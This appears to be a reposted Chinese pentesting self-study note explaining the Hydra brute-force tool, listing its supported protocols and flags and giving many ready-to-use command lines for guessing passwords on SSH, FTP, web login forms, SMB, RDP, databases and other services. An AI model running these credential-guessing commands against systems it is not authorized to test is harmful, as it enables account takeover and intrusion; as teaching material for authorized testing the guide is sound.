穷举爆破神器hydra详细讲解和利用
渗透测试自学笔记,想把自己所学的完整记录下来
关于Hydra
hydra 是一个支持众多协议的爆破工具,已经集成到Kali-Linux中,直接在终端打开即可,同时也有Windows版(链接)
Windows版
Kali版
你可以在Github上找到它的源码: https://github.com/vanhauser-thc/thc-hydraHydra
使用hydra 有两个版本
- 命令行版本
- GUI版本
其中GUI版本叫 xhydra,直接在终端中输入命令打开(或者在菜单中寻找打开)
Hydra支持的协议
* Asterisk
* AFP
* Cisco AAA
* Cisco auth
* Cisco enable
* CVS
* Firebird
* FTP
* HTTP-FORM-GET
* HTTP-FORM-POST
* HTTP-GET
* HTTP-HEAD
* HTTP-POST
* HTTP-PROXY
* HTTPS-FORM-GET
* HTTPS-FORM-POST
* HTTPS-GET
* HTTPS-HEAD
* HTTPS-POST
* HTTP-Proxy
* ICQ
* IMAP
* IRC
* LDAP
* MS-SQL
* MYSQL
* NCP
* NNTP
* Oracle Listener
* Oracle SID
* Oracle
* PC-Anywhere
* PCNFS
* POP3
* POSTGRES
* RDP
* Rexec
* Rlogin
* Rsh
* RTSP
* SAP/R3
* SIP
* SMB
* SMTP
* SMTP Enum
* SNMP v1+v2+v3
* SOCKS5
* SSH (v1 and v2)
* SSHKEY
* Subversion
* Teamspeak (TS2)
* Telnet
* VMware-Auth
* VNC
* XMPP
hydra参数详解
- -l 指定单个用户名,适合在知道用户名爆破用户名密码时使用
- -L 指定多个用户名,参数值为存储用户名的文件的路径(建议为绝对路径)
- -p 指定单个密码,适合在知道密码爆破用户名时使用
- -P 指定多个密码,参数值为存贮密码的文件(通常称为字典)的路径(建议为绝对路径)
- -C 当用户名和密码存储到一个文件时使用此参数。注意,文件(字典)存储的格式必须为 “用户名:密码” 的格式。
- -M 指定多个攻击目标,此参数为存储攻击目标的文件的路径(建议为绝对路径)。注意:列表文件存储格式必须为 “地址:端口”
- -t 指定爆破时的任务数量(可以理解为线程数),默认为16
- -s 指定端口,适用于攻击目标端口非默认的情况。例如:http服务使用非80端口
- -S 指定爆破时使用 SSL 链接
- -R 继续从上一次爆破进度上继续爆破
- -v/-V 显示爆破的详细信息
- -f 一但爆破成功一个就停止爆破
- server 代表要攻击的目标(单个),多个目标时请使用 -M 参数
- service 攻击目标的服务类型(可以理解为爆破时使用的协议),例如 http,在hydra中,不同协议会使用不同的模块来爆破,hydra 的http-get 和 http-post 模块就用来爆破基于 get 和 post 请求的页面
- OPT 爆破模块的额外参数,可以使用 -U 参数来查看模块支持那些参数,例如命令:hydra -U http-get
具体使用
1、破解ssh:
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip ssh
hydra -l 用户名 -p 密码字典 -t 线程 -o save.log -vV ip ssh
hydra -L users.txt -P password.txt -vV -o ssh.log -e ns IP ssh
2、破解ftp:
hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV
hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV
3、get方式提交,破解web登录:
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.php
4、post方式提交,破解web登录:
hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password"
hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form "login.php:id=^USER^&passwd=^PASS^:<title>wrong username or password</title>"
(参数说明:-t同时线程数3,-l用户名是admin,字典pass.txt,保存为out.txt,-f 当破解了一个密码就停止, 10.36.16.18目标ip,http-post-form表示破解是采用http的post方式提交的表单密码破解,
5、破解https:
hydra -m /index.php -l muts -P pass.txt IP https
hydra -m /index.php -l username -P pass.txt IP https
6、破解teamspeak:
hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak
7、破解cisco:
hydra -P pass.txt IP cisco
hydra -m cloud -P pass.txt IP cisco-enable
8、破解smb:
hydra -l administrator -P pass.txt 10.36.16.18 smb
9、破解pop3:
hydra -l muts -P pass.txt my.pop3.mail pop3
10、破解rdp:
hydra ip rdp -l administrator -P pass.txt -V
11、破解http-proxy:
hydra -l admin -P pass.txt http-proxy://IP
12、破解imap:
hydra -L user.txt -p secret 10.36.16.18 imap PLAIN
hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN
13、破解telnet:
hydra IP telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V
14、爆破mysql
hydra -l root -P /root/pentest/passwd.txt mysql://192.168.0.100 -f -o /root/pentest/mysql.txt -V
15、其他
oracle
hydra -P /root/passwd oracle://192.168.0.100 -f -o /root/oracle.txt –v
redis
hydra -P /root/passlist.txt -e nsr -t 16 192.168.0.101 redis
postgresql
hydra -P /root/passlist.txt -e nsr -t 16 192.168.0.101 postgresql
xhydra使用
1、xhydra是hydra的可视化工具,在kali命令行中输入xhydra即可开启
以爆破mssql为例。
target页面选项解释如下:
password页面选项解释如下:
Tuning页面选项解释如下:
start页面选项解释如下:
参考文章
https://www.freebuf.com/articles/web/265477.html
post SAP-Garson
原文链接:https://blog.csdn.net/maverickpig/article/details/122953490文章来自于网络,如果侵犯了您的权益,请联系站长删除!